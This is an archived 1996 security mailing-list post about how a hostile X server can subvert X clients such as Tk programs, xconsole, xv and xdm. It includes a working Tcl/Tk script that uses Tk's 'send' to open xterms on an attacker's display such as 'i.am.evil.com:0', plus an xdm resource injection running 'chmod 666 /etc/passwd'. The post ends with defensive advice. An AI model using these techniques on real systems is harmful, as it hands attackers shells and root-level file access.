From: SMTP%"zblaxell@myrus.com" 3-SEP-1996 19:14:22.03 To: EVERHART CC: Subj: BoS: Hostile X servers Resent-Date: Tue, 3 Sep 1996 23:49:39 +1000 Approved-By: ALEPH1@UNDERGROUND.ORG Path: fludd.myrus!news Lines: 156 NNTP-Posting-Host: fludd.myrus Approved-By: Zygo Blaxell Message-ID: <50cdpt$atk@fludd.myrus> Date: Sun, 1 Sep 1996 12:31:57 -0400 Reply-To: Zygo Blaxell Sender: proff@suburbia.net From: Zygo Blaxell Organization: Smoke & Myrus Design, Inc. To: Multiple recipients of list BUGTRAQ Resent-Message-ID: <"NLaUM.0.fB.nT3Bo"@suburbia> Resent-From: best-of-security@suburbia.net X-Mailing-List: archive/latest/328 X-Loop: best-of-security@suburbia.net Precedence: list Resent-Sender: best-of-security-request@suburbia.net Subject: BoS: Hostile X servers Hmmm...it seems the evil munchkins are now overrunning buffers in the X11 Xt library to exploit setuid programs like Xterm. For those of us who've been paying attention for the last six months, this can be no surprise. However, this makes me think of other X-related attacks. I wonder how secure the X11 libraries and commonly-used programs are against a hostile X server attack. By that I mean the attacker attempts to gain access by using XDMCP to start an X session on their X "server", but their X "server" is really just a program that feeds malicious data back at the X clients in an attempt to subvert them. The first library that comes to mind is Tk. You just can't use out-of-the-box Tk widgets to open a window on a hostile X server, because anyone with access to the hostile X server can cause your Tcl interpreter to execute arbitrary commands. Consider an X-based messaging program, where a window pops up on someone else's X terminal with a message and an OK button. If that program is written in Tk, then the attacker runs this to get a shell running as the same ID as the message program: #!/usr/bin/wish # Try to protect ourselves from ourselves... # This is not perfect. We could be sent a command between # Tk_Initialize() and now. rename send {} wm withdraw . if $argc!=1 { puts "Usage: $argv0 my_display" puts "Uses tk 'send' to launch one xterm for each Tk application on the current" puts "X DISPLAY. The xterm processes appear on 'my_display'" puts "Note: For this to work you have to make your own X server insecure." puts "Example: " puts "DISPLAY=xhost.victim.com:0 $argv0 i.am.evil.com:0" puts "If you have a broken shell, the above won't work. Instead, try:" puts "(setenv DISPLAY xhost.victim.com:0; $argv0 i.am.evil.com:0)" exit 2 } set my_display $argv set windows [winfo interps] foreach window $windows { send $window "exec xterm -display $my_display &" } exit 0 Tk is becoming very popular. Don't use it for X programs that have to be secure against hostile users. Note: there is a compile-time option to disable the send command in Tk; if you must use Tk, only use Tk with this option compiled in. Call it 'tk-nosend' or some such thing, so you can be certain that the Tk code you are writing will never be linked against the standard (unsafe) Tk library. The next thing that comes to mind is Netscape; however, I doubt that it's going to be the target of many hostile-X-server attacks. If someone is running Netscape on your X terminal, just print any WWW page and you can get a shell as the user running Netscape. A lot of X client libraries get their configuration information from the X resource database. This is a series of records that looks something like this: xfsm.minimize: true xfsm.mainWin.geometry: +0-0 xfsm.root: false xfsm.warn1val: 0 xfsm.warn1col: green xfsm.warn2val: 98 xfsm.warn2col: yellow xfsm.warn3val: 99 xfsm.warn3col: red ssh-dispatch.ftop*listbox*font: 5x7 The names correspond to windows or widgets in client programs. The values usually specify colors, fonts, and so on. The resource database comes in several parts: - resources compiled into the client program - a system-wide database on the client machine - the invoking user's home directory on the client machine - the X server (I think it's a property of the root window) This is designed to allow you to customize programs for operation on a wide variety of X displays and host machines. The system-wide database provides reasonable default values. The user-specific database customizes clients for users' tastes. The X-server-specific resource database usually changes colors and fonts to optimize client displays for the display hardware (i.e. bigger fonts on higher-resolution displays, brighter or darker colors for gamma-incorrect displays). However, a number of programs also use the values to specify file names to read or write, or the names of devices (some versions of Xterm and Xconsole, graphical CD player programs, and a number of monitor-your-system-status-with-a-funky-bar-graph programs), whether to be interactive (xv and Mosaic), even entire shell command lines (xscreensaver). The danger, of course, is in running one of these programs on a hostile X server. Many X configurations I've seen run 'xconsole' on the login window, as root. Some xconsole versions I've seen allow you to specify a file name to read in 'tail -f' fashion. Impact: you can read new mail for any user, or read restricted log files on the XDM server machine (or xconsole client machine, depending on your point of view). Some people put a picture (company logo, whatever) on the root window during login. Don't do it with 'xv'. Other programs that people might want to put on the root window during login: Workman (so people can play CD's without logging in to the machine), mixer programs (similar reason), xload, clock programs. Also note that anything run in the xdm configuration files (like the system-wide Xsession file) is vulnerable to attack this way. Interestingly enough, 'xdm' itself uses resources to configure the login widget. You can do some interesting things with this: xlogin*login.translations: #override\ F2: set-session-argument(`chmod 666 /etc/passwd`) finish-field()\n\ CtrlR: abort-display()\n\ F1: set-session-argument(failsafe) finish-field()\n\ CtrlReturn: set-session-argument(failsafe) finish-field()\n\ Return: set-session-argument() finish-field() Depending on how well-written the system-wide X session file is, this can be a successful attack. Also, consider what would happen if you could control these from the X server side (note: I don't think you can, but it is important to make sure that the status quo is maintained). DisplayManager.errorLogFile: /usr/X11R6/lib/X11/xdm/xdm-errors DisplayManager.pidFile: /usr/X11R6/lib/X11/xdm/xdm-pid DisplayManager.servers: /usr/X11R6/lib/X11/xdm/Xservers DisplayManager.keyFile: /usr/X11R6/lib/X11/xdm/xdm-keys DisplayManager.accessFile: /usr/X11R6/lib/X11/xdm/Xaccess DisplayManager._0.setup: /usr/X11R6/lib/X11/xdm/Xsetup_0 DisplayManager._0.startup: /usr/X11R6/lib/X11/xdm/GiveConsole DisplayManager._0.reset: /usr/X11R6/lib/X11/xdm/TakeConsole DisplayManager*resources: /usr/X11R6/lib/X11/xdm/Xresources DisplayManager*session: /usr/X11R6/lib/X11/xdm/Xsession All of these except Xsession are executed or accessed with root privilege. Something to think about. If in doubt, remove all nonessential X clients on the X login window, check the security of your Xsession program, disable all untrusted hosts in your access file, then firewall them on UDP port XDMCP. -- Zygo Blaxell. Unix/soft/hardware guru, was for U of Waterloo CS Club, now for (name withheld by request). 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Admin Linux/TCP/IP for food, clothing, anime. Pager: 1 (613) 760 8572. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong